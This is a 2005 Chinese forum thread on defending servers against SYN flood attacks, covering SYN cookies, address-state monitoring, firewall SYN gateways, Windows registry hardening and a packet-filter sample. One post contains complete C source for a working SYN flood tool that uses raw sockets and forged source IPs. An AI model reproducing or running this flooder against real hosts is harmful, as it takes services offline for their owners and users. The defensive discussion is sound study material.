标题: [讨论]针对syn flood,怎么办? [打印本页]

---

作者: x86    时间: 2005-10-24 17:58     标题: [讨论]针对syn flood,怎么办?

假设有一个恶意的家伙,一直给你的web服务器发送源ip已经被修改的,基本上不存在的源ip的syn包,我们如何在自己的程序里识别,并进行阻拦呢?????
假设带宽足够,,,
syn flood:
客户端通过发送在TCP报头中SYN标志置位的数据分段到服务端来请求建立连接。通常情况下，服务端会按照IP报头中的来源地址来返回SYN/ACK置位的数据包给客户端，客户端再返回ACK到服务端来完成一个完整的连接(Figure-1)。
　　在攻击发生时，客户端的来源IP地址是经过伪造的(spoofed)，现行的IP路由机制仅检查目的IP地址并进行转发，该IP包到达目的主机后返回路径无法通过路由达到的，于是目的主机无法通过TCP三次握手建立连接。在此期间因为TCP缓存队列已经填满，而拒绝新的连接请求。目的主机一直尝试直至超时(大约75秒)。这就是该攻击类型的基本机制。
　　发动攻击的主机只要发送较少的，来源地址经过伪装而且无法通过路由达到的SYN连接请求至目标主机提供TCP服务的端口，将目的主机的TCP缓存队列填满，就可以实施一次成功的攻击。实际情况下，发动攻击时往往是持续且高速的.
　　 这里需要使用经过伪装且无法通过路由达到的来源IP地址，因为攻击者不希望有任何第三方主机可以收到来自目的系统返回的SYN/ACK，第三方主机会返回一个RST(主机无法判断该如何处理连接情况时，会通过RST重置连接)，从而妨碍攻击进行。如下图所示：
    由此可以看到，这种攻击方式利用了现有TCP/IP协议本身的薄弱环节，而且攻击者可以通过IP伪装有效的隐蔽自己。但对于目的主机来说，由于无法判断攻击的真正来源。而不能采取有效的防御措施。

如何识别?如何拦截?大家说说自己的想法吧.

---

作者: x86    时间: 2005-10-24 18:17     标题: [讨论]针对syn flood,怎么办?

这是在网上找到的2种方法:
几种防御技术
　　SYN Flood攻击给互联网造成重大影响后，针对如何防御SYN Flood攻击出现了几种比较有效的技术。
2.1   SYN－cookie技术
　　一般情况下，当服务器收到一个TCP SYN报文后，马上为该连接请求分配缓冲区，然后返回一个SYN＋ACK报文，这时形成一个半连接。SYN Flood正是利用了这一点，发送大量的伪造源地址的SYN连接请求，而不完成连接。这样就大量的消耗的服务器的资源。
　　SYN－cookie技术针对标准TCP连接建立过程资源分配上的这一缺陷，改变了资源分配的策略。当服务器收到一个SYN报文后，不立即分配缓冲区，而是利用连接的信息生成一个cookie，并将这个cookie作为将要返回的SYN＋ACK报文的初始序列号。当客户端返回一个ACK报文时，根据包头信息计算cookie，与返回的确认序列号（初始的序列号＋1）的前24位进行对比，如果相同，则是一个正常连接，然后，分配资源，建立连接。
该技术的巧妙之点在于避免了在连接信息未完全到达前进行资源分配，使SYN Flood攻击的资源消耗失效。实现的关键之处在于cookie的计算。cookie的计算应该做到包含本次连接的状态信息，使攻击者不能伪造cookie。cookie的计算过程如下：
　　1）服务器收到一个SYN包后，计算一个消息摘要mac：
mac = MAC（A，k）；
MAC是密码学中的一个消息认证码函数，也就是满足某种安全性质的带密钥的hash函数，它能够提供cookie计算中需要的安全性。
A为客户和服务器双方的IP地址和端口号以及参数t的串联组合：
A = SOURCE_IP || SOURCE_PORT || DST_IP || DST_PORT || t
K为服务器独有的密钥；
时间参数t为32比特长的时间计数器，每64秒加1；
　　2）生成cookie：
cookie = mac（0:24）：表示取mac值的第0到24比特位；
　　3）设置将要返回的SYN+ACK报文的初始序列号，设置过程如下：
    i.              高24位用cookie代替；
   ii.              接下来的3比特位用客户要求的最大报文长度MMS代替；
   iii.              最后5比特位为t mod 32。
　　客户端收到来自服务器SYN+ACK报文后，返回一个ACK报文，这个ACK报文将带一个cookie（确认号为服务器发送过来的SYN ACK报文的初始序列号加1，所以不影响高24位），在服务器端重新计算cookie，与确认号的前24位比较，如果相同，则说明未被修改，连接合法，然后，服务器完成连接的建立过程。
　　SYN-cookie技术由于在连接建立过程中不需要在服务器端保存任何信息，实现了无状态的三次握手，从而有效的防御了SYN Flood攻击。但是该方法也存在一些弱点。由于cookie的计算只涉及了包头的部分信心，在连接建立过程中不在服务器端保存任何信息，所以失去了协议的许多功能，比如，超时重传。此外，由于计算cookie有一定的运算量，增加了连接建立的延迟时间，因此，SYN-cookie技术不能作为高性能服务器的防御手段。通常采用动态资源分配机制，当分配了一定的资源后再采用cookie技术，Linux就是这样实现的。还有一个问题是，当我们避免了SYN Flood攻击的同时，同时也提供了另一种拒绝服务攻击方式，攻击者发送大量的ACK报文，使服务器忙于计算验证。尽管如此，在预防SYN Flood攻击方面，SYN-cookie技术仍然是一种有效的技术。
2.2  地址状态监控的解决方法
　　地址状态监控的解决方法是利用监控工具对网络中的有关TCP连接的数据包进行监控，并对监听到的数据包进行处理。处理的主要依据是连接请求的源地址。
每个源地址都有一个状态与之对应，总共有四种状态：
初态：任何源地址刚开始的状态；
NEW状态：第一次出现或出现多次也不能断定存在的源地址的状态；
GOOD状态：断定存在的源地址所处的状态；
BAD状态：源地址不存在或不可达时所处的状态。
具体的动作和状态转换根据TCP头中的位码值决定：
1）监听到SYN包，如果源地址是第一次出现，则置该源地址的状态为NEW状态；如果是NEW状态或BAD状态；则将该包的RST位置1然后重新发出去，如果是GOOD状态不作任何处理。
　　2）监听到ACK或RST包，如果源地址的状态为NEW状态，则转为GOOD状态；如果是GOOD状态则不变；如果是BAD状态则转为NEW状态；如果是BAD状态则转为NEW状态。
　　3）监听到从服务器来的SYN ACK报文（目的地址为addr），表明服务器已经为从addr发来的连接请求建立了一个半连接，为防止建立的半连接过多，向服务器发送一个ACK包，建立连接，同时，开始计时，如果超时，还未收到ACK报文，证明addr不可达，如果此时addr的状态为GOOD则转为NEW状态；如果addr的状态为NEW状态则转为BAD状态；如果为addr的状态为BAD状态则不变。
状态的转换图如图3所示：



初态
GOOD
NEW
BAD
ACK/RST
SYN
ACK/RST
  
ACK包确认超时
ACK/RST
  
ACK包确认超时
下面分析一下基于地址状态监控的方法如何能够防御SYN Flood攻击。

　　1）对于一个伪造源地址的SYN报文，若源地址第一次出现，则源地址的状态为NEW状态，当监听到服务器的SYN+ACK报文，表明服务器已经为该源地址的连接请求建立了半连接。此时，监控程序代源地址发送一个ACK报文完成连接。这样，半连接队列中的半连接数不是很多。计时器开始计时，由于源地址是伪造的，所以不会收到ACK报文，超时后，监控程序发送RST数据包，服务器释放该连接，该源地址的状态转为BAD状态。之后，对于每一个来自该源地址的SYN报文，监控程序都会主动发送一个RST报文。
　　2）对于一个合法的SYN报文，若源地址第一次出现，则源地址的状态为NEW状态，服务器响应请求，发送SYN＋ACK报文，监控程序发送ACK报文，连接建立完毕。之后，来自客户端的ACK很快会到达，该源地址的状态转为GOOD状态。服务器可以很好的处理重复到达的ACK包。
从以上分析可以看出，基于监控的方法可以很好的防御SYN Flood攻击，而不影响正常用户的连接。
想说下的是第2种方法,,,发送RST数据包,""监控程序发送RST数据包，服务器释放该连接""先不说ip地址随机的状况,,由于目标地址不可以路由到达,主机岂不是要继续等待,还是发送rst包的时候,主机会释放这个半连接???
请熟悉tcp/ip的来讲讲咯!

---

作者: 青蛙    时间: 2005-10-24 19:33     标题: [讨论]针对syn flood,怎么办?

我把synflood的攻击程序代码也贴出来 #include #include #include #include #pragma comment(lib,"ws2_32") #pragma comment(lib,"wsock32") #define FAKE_IP "201.79.131.18" #define SEQ 0x28376839 #define right "===============Coder Paris-ye====================\n" USHORT checksum(USHORT *buffer, int size); int flood(); typedef struct tcphdr { USHORT th_sport; USHORT th_dport; unsigned int th_seq; unsigned int th_ack; unsigned char th_lenres; unsigned char th_flag; USHORT th_win; USHORT th_sum; USHORT th_urp; }TCP_HEADER; typedef struct iphdr { unsigned char h_verlen; unsigned char tos; unsigned short total_len; unsigned short ident; unsigned short frag_and_flags; unsigned char ttl; unsigned char proto; unsigned short checksum; unsigned int sourceIP; unsigned int destIP; }IP_HEADER; struct { unsigned long saddr; unsigned long daddr; char mbz; char ptcl; unsigned short tcpl; }PSD_HEADER; WSADATA wsaData; SOCKET sockMain = (SOCKET) NULL; int ErrorCode=0,flag=true,TimeOut=2000,FakeIpNet,FakeIpHost,dataSize=0,SendSEQ=0; unsigned short activPort=40000; struct sockaddr_in sockAddr; TCP_HEADER tcpheader; IP_HEADER ipheader; char sendBuf[128]; USHORT checksum(USHORT *buffer, int size) { unsigned long cksum=0; while(size >1) { cksum+=*buffer++; size-=sizeof(USHORT); } if(size) cksum+=*(UCHAR*)buffer; cksum=(cksum >> 16)+(cksum&0xffff); cksum+=(cksum >>16); return (USHORT)(~cksum); } int main(int argc,char* argv[]) { int portNum=0; DWORD dw; HANDLE hThread=NULL; char putInfo; if(argc!=3) { printf("%s\n",right); printf("Invalid command,Pls use:\n%s \nExample:%s 192.168.100.244 80",argv[0],argv[0]); return 1; } if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0){ printf("WSAStartup failed: %d\n",ErrorCode); return 2; } sockMain=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED); if(sockMain==INVALID_SOCKET) { printf("Socket failed: %d\n",WSAGetLastError()); return 3; } ErrorCode=setsockopt(sockMain,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int)); if(ErrorCode==SOCKET_ERROR) { printf("Set sockopt failed: %d\n",WSAGetLastError()); return 4; } ErrorCode=setsockopt(sockMain,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut)); if(ErrorCode==SOCKET_ERROR) { printf("Set sockopt time out failed: %d\n",WSAGetLastError()); return 5; } portNum=atoi(argv[2]); memset(&sockAddr,0,sizeof(sockAddr)); sockAddr.sin_family=AF_INET; sockAddr.sin_addr.s_addr =inet_addr(argv[1]); FakeIpNet=inet_addr(FAKE_IP); FakeIpHost=ntohl(FakeIpNet); ipheader.h_verlen=(4<<4 | sizeof(IP_HEADER)/sizeof(unsigned long)); ipheader.total_len = htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); ipheader.ident = 1; ipheader.frag_and_flags = 0; ipheader.ttl = 128; ipheader.proto = IPPROTO_TCP; ipheader.checksum =0; ipheader.sourceIP = htonl(FakeIpHost+SendSEQ); ipheader.destIP = inet_addr(argv[1]); tcpheader.th_dport=htons(portNum); tcpheader.th_sport = htons(portNum); tcpheader.th_seq = htonl(SEQ+SendSEQ); tcpheader.th_ack = 0; tcpheader.th_lenres =(sizeof(TCP_HEADER)/4<<4|0); tcpheader.th_flag = 2; tcpheader.th_win = htons(16384); tcpheader.th_urp = 0; tcpheader.th_sum = 0; PSD_HEADER.saddr=ipheader.sourceIP; PSD_HEADER.daddr=ipheader.destIP; PSD_HEADER.mbz=0; PSD_HEADER.ptcl=IPPROTO_TCP; PSD_HEADER.tcpl=htons(sizeof(tcpheader)); printf("%s\n",right); hThread=createThread(NULL,0,(LPTHREAD_START_ROUTINE)flood,0,create_SUSPENDED,&dw); SetThreadPriority(hThread,THREAD_PRIORITY_HIGHEST); ResumeThread(hThread); printf("Warning[start]...........\nPress any key to stop!\n"); putInfo=getchar(); TerminateThread(hThread,0); WSACleanup(); printf("\nStopd...........\n"); return 0; } int flood() { while(1) { if(SendSEQ++==65536) SendSEQ=1; if(activPort++==40010) activPort=1000; ipheader.checksum =0; ipheader.sourceIP = htonl(FakeIpHost+SendSEQ); tcpheader.th_seq = htonl(SEQ+SendSEQ); tcpheader.th_sport = htons(activPort); tcpheader.th_sum = 0; PSD_HEADER.saddr=ipheader.sourceIP; memcpy(sendBuf,&PSD_HEADER,sizeof(PSD_HEADER)); memcpy(sendBuf+sizeof(PSD_HEADER),&tcpheader,sizeof(tcpheader)); tcpheader.th_sum=checksum((USHORT *)sendBuf,sizeof(PSD_HEADER)+sizeof(tcpheader)); memcpy(sendBuf,&ipheader,sizeof(ipheader)); memcpy(sendBuf+sizeof(ipheader),&tcpheader,sizeof(tcpheader)); memset(sendBuf+sizeof(ipheader)+sizeof(tcpheader),0,4); dataSize=sizeof(ipheader)+sizeof(tcpheader); ipheader.checksum=checksum((USHORT *)sendBuf,dataSize); memcpy(sendBuf,&ipheader,sizeof(ipheader)); ErrorCode=sendto(sockMain,sendBuf,dataSize,0,(struct sockaddr*) &sockAddr,sizeof(sockAddr)); if(ErrorCode==SOCKET_ERROR) { printf("\nCan';t connect this IP!Pls check it.\n"); ExitThread(1); } // Sleep(1000); } return 0; }

---

作者: x86    时间: 2005-10-24 19:37     标题: [讨论]针对syn flood,怎么办?

SYN网关 防火墙收到客户端的SYN包时，直接转发给服务器；防火墙收到服务器的SYN/ACK包后，一方面将SYN/ACK包转发给客户端，另一方面以客户端的名义给服务器回送一个ACK包，完成TCP的三次握手，让服务器端由半连接状态进入连接状态。当客户端真正的ACK包到达时，有数据则转发给服务器，否则丢弃该包。由于服务器能承受连接状态要比半连接状态高得多，所以这种方法能有效地减轻对服务器的攻击。
被动式SYN网关 设置防火墙的SYN请求超时参数，让它远小于服务器的超时期限。防火墙负责转发客户端发往服务器的SYN包，服务器发往客户端的SYN/ACK包、以及客户端发往服务器的ACK包。这样，如果客户端在防火墙计时器到期时还没发送ACK包，防火墙则往服务器发送RST包，以使服务器从队列中删去该半连接。由于防火墙的超时参数远小于服务器的超时期限，因此这样能有效防止SYN Flood攻击。
SYN中继 防火墙在收到客户端的SYN包后，并不向服务器转发而是记录该状态信息然后主动给客户端回送SYN/ACK包，如果收到客户端的ACK包，表明是正常访问，由防火墙向服务器发送SYN包并完成三次握手。这样由防火墙做为代理来实现客户端和服务器端的连接，可以完全过滤不可用连接发往服务器。

---

作者: 青蛙    时间: 2005-10-24 19:53     标题: [讨论]针对syn flood,怎么办?

以下是另一种减轻攻击影响的方法
通过注册表修改强化Windows2000的tcp/ip防synflood能力
Windows2000以及以上版本的tcp/ip协议盏已经内置了对于synflood的一些简单防护功能，可以抵御一定流量的synflood攻击，但是默认是关闭的，下面介绍如何通过修改注册表开启Windows内置的syn防护功能。

抵御 SYN 攻击
SYN 攻击利用了 TCP/IP 连接建立机制中的安全漏洞。要实施 SYN 洪水攻击，攻击者会使用程序发送大量 TCP SYN 请求来填满服务器上的挂起连接队列。这会禁止其他用户建立网络连接。
要保护网络抵御 SYN 攻击，请按照下面这些通用步骤操作（这些步骤将在本文档的稍后部分进行说明）：
• 启用 SYN 攻击保护
• 设置 SYN 保护阈值
• 设置其他保护

启用 SYN 攻击保护
启用 SYN 攻击保护的命名值位于此注册表项的下面：HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services。
值名称： SynAttackProtect
建议值： 2
有效值： 0 – 2
说明：使 TCP 调整 SYN-ACK 的重传。配置此值后，在遇到 SYN 攻击时，对连接超时的响应将更快速。在超过 TcpMaxHalfOpen 或 TcpMaxHalfOpenRetried 的值后，将触发 SYN 攻击保护。
设置 SYN 保护阈值
下列值确定触发 SYN 保护的阈值。这一部分中的所有注册表项和值都位于注册表项 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services 的下面。这些注册表项和值是：
• 值名称： TcpMaxPortsExhausted
建议值： 5
有效值： 0 – 65535
说明：指定触发 SYN 洪水攻击保护所必须超过的 TCP 连接请求数的阈值。
• 值名称： TcpMaxHalfOpen
建议的数值数据： 500
有效值： 100 – 65535
说明：在启用 SynAttackProtect 后，该值指定处于 SYN_RCVD 状态的 TCP 连接数的阈值。在超过 SynAttackProtect 后，将触发 SYN 洪水攻击保护。
• 值名称： TcpMaxHalfOpenRetried
建议的数值数据： 400
有效值： 80 – 65535
说明：在启用 SynAttackProtect 后，该值指定处于至少已发送一次重传的 SYN_RCVD 状态中的 TCP 连接数的阈值。在超过 SynAttackProtect 后，将触发 SYN 洪水攻击保护。

设置其他保护
这一部分中的所有注册表项和值都位于注册表项 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services 的下面。这些注册表项和值是：
• 值名称： TcpMaxConnectResponseRetransmissions
建议的数值数据： 2
有效值： 0 – 255
说明：控制在响应一次 SYN 请求之后、在取消重传尝试之前 SYN-ACK 的重传次数。
• 值名称： TcpMaxDataRetransmissions
建议的数值数据： 2
有效值： 0 – 65535
说明：指定在终止连接之前 TCP 重传一个数据段（不是连接请求段）的次数。
• 值名称： EnablePMTUDiscovery
建议的数值数据： 0
有效值： 0, 1
说明：将该值设置为 1（默认值）可强制 TCP 查找在通向远程主机的路径上的最大传输单元或最大数据包大小。攻击者可能将数据包强制分段，这会使堆栈不堪重负。对于不是来自本地子网的主机的连接，将该值指定为 0 可将最大传输单元强制设为 576 字节。
• 值名称： KeepAliveTime
建议的数值数据： 300000
有效值： 80 – 4294967295
说明：指定 TCP 尝试通过发送持续存活的数据包来验证空闲连接是否仍然未被触动的频率。
• 值名称： NoNameReleaseOnDemand
建议的数值数据： 1
有效值： 0, 1
说明：指定计算机在收到名称发布请求时是否发布其 NetBIOS 名称。

使用表 1 中汇总的值可获得最大程度的保护。
表 1：建议值
值名称 值 (REG_DWORD)
SynAttackProtect
2
TcpMaxPortsExhausted
1
TcpMaxHalfOpen
500
TcpMaxHalfOpenRetried
400
TcpMaxConnectResponseRetransmissions
2
TcpMaxDataRetransmissions
2
EnablePMTUDiscovery
0
KeepAliveTime
300000（5 分钟）
NoNameReleaseOnDemand
1

经测试，按照推荐值设置注册表对于10Mbps以下流量的攻击可以保证完全不影响正常服务，10-20Mbps之间可能会造成访问速度变慢，对于不同配置的机器抵御能力也相应不同，经测试类似我们虚拟主机的配置机器曾经在不作其他安全设置的情况下成功防御了30Mbps以上的流量。
此文章所讲述内容适用于Windows2000和Windows Server 2003，Win2003SP1已经默认打开了上面的设置，不需要单独修改注册表了。
如果客户机器受到小流量攻击，可以试试看使用此种方法防御，再配合上软件防火墙，相信能够解决一定的问题。
--------------------------------------------------------------------------------
关于软件防火墙测试
冰盾、VF、黑冰 首选

不过我个人觉得一般使用dos攻击手法的都不是大面积攻击,我认为最简便的减轻这种攻击的方法是把iis设置下,禁止掉攻击来源的ip段,再用防火墙过滤下就ok了,如果对对方使用的大面积攻击的话,以上的方法和策略就都行不通了,只有依赖于负载均衡技术和硬件防火墙等来减轻攻击影响了,这也是目前针对dos攻击和ddos攻击的最有效方法了,不过花费的代价较高,一般的企业公司都不会采用此种策略.

---

作者: x86    时间: 2005-10-24 20:57     标题: [讨论]针对syn flood,怎么办?

上面所说的注册表选项在xp中并没有哦,
我所指的dos只是这个代码上所描述的攻击,,,大量伪造的ip的syn请求,,,且ip地址还有可能是随机的,,,问题是我们如何在自己的代码中加入这些功能,比如在xp下就没有这些选项,,
我想到一个简单的方案:
用一个原始套接字不断监听本地的网络连接,对对指定端口的syn请求进行记录,这时主机上的服务程序应该已经发送了ack/syn包了.那么设置一定的时间间隔(小于系统等待重发的时间),在设置的时间内,如果没有受到客户端的ack,,则发送一个rst给自己,源地址修改为那个请求的ip,从而使系统将半连接从队列中删除....
只是一个构想,,,还没有实现相关的代码,,大家说说可行性!!!!

---

作者: 坏的刚刚好    时间: 2005-10-25 10:51     标题: [讨论]针对syn flood,怎么办?

这方法倒可以缩短SYN Timeout时间且成倍的降低服务器的负荷
假如以数万/秒的速度发送SYN报文，又何解。

---

作者: x86    时间: 2005-10-25 11:06     标题: [讨论]针对syn flood,怎么办?

前几天在网上看到一段代码,只是还要什么platform sdk..我不知道是怎么实现拦截数据包的,如果能在数据链路层拦下来的话,会好很多,这个代码我不能实现,所以不能研究他的拦截机制,至少会比上面所说的自己给自己发送rst包要好很多,创建一个ip列表,拦截所有源ip的包.我想将这两种方法结合到一起.先用rst包来处理,对于频率较大的ip地址和段,创建一个ip列表进行过滤... /* 利用操作系统提供的API编写防火墙. 该程序涉及到的API说明请访问微软的MSDN Library 代码在C++ Builder 5编译通过 如果您想和我交流请email:zzwinner@163.com */ #pragma hdrstop #pragma comment(lib,"Iphlpapi.lib") #include #include // 需要加载"iphlpapi.lib" //--------------------------------------------------------------------------- //#pragma argsused int main(int argc, char* argv[]) { // 一个创建网络包过滤接口 INTERFACE_HANDLE hInterface; PfCreateInterface(0, PF_ACTION_DROP,//PF_ACTION_FORWARD, PF_ACTION_DROP,//PF_ACTION_FORWARD, FALSE, TRUE, &hInterface); // 绑定需要网络包过滤的IP地址 BYTE localIp[] = {192,168,0,2}; PfBindInterfaceToIPAddress(hInterface, PF_IPV4, localIp); // 现在我们开始过滤HTTP协议的的接口 FILTER_HANDLE fHandle; // 填充过滤包的规则结构 PF_FILTER_DESCRIPTOR inFilter; inFilter.dwFilterFlags = FD_FLAGS_NOSYN; //一直添这个值 inFilter.dwRule = 0; //一直添这个值 inFilter.pfatType = PF_IPV4; //用 ipV4 地址 inFilter.SrcAddr = localIp; //设置本地IP地址 inFilter.SrcMask = "\xff\xff\xff\xff"; //设置本地子网掩码 inFilter.wSrcPort = FILTER_TCPUDP_PORT_ANY; //任意来源端口 inFilter.wSrcPortHighRange = FILTER_TCPUDP_PORT_ANY; inFilter.DstAddr = 0; //任意目标地址 inFilter.DstMask = 0; inFilter.wDstPort = 80; //目标端口 80(http 服务) inFilter.wDstPortHighRange = 80; inFilter.dwProtocol = FILTER_PROTO_TCP; // 过滤的协议 // 加入一个过滤接口 PfAddFiltersToInterface(hInterface, 1, &inFilter, 0, NULL, &fHandle); // 请在这设置一个调试断点,然后看看你的IE是否不能访问WEB页. :) // 移除过滤接口 PfRemoveFilterHandles(hInterface, 1, &fHandle); PfUnBindInterface(hInterface); PfDeleteInterface(hInterface); return 0; }

---

欢迎光临 黑色海岸线论坛 (http://bbs.thysea.com/)

Powered by Discuz! 7.2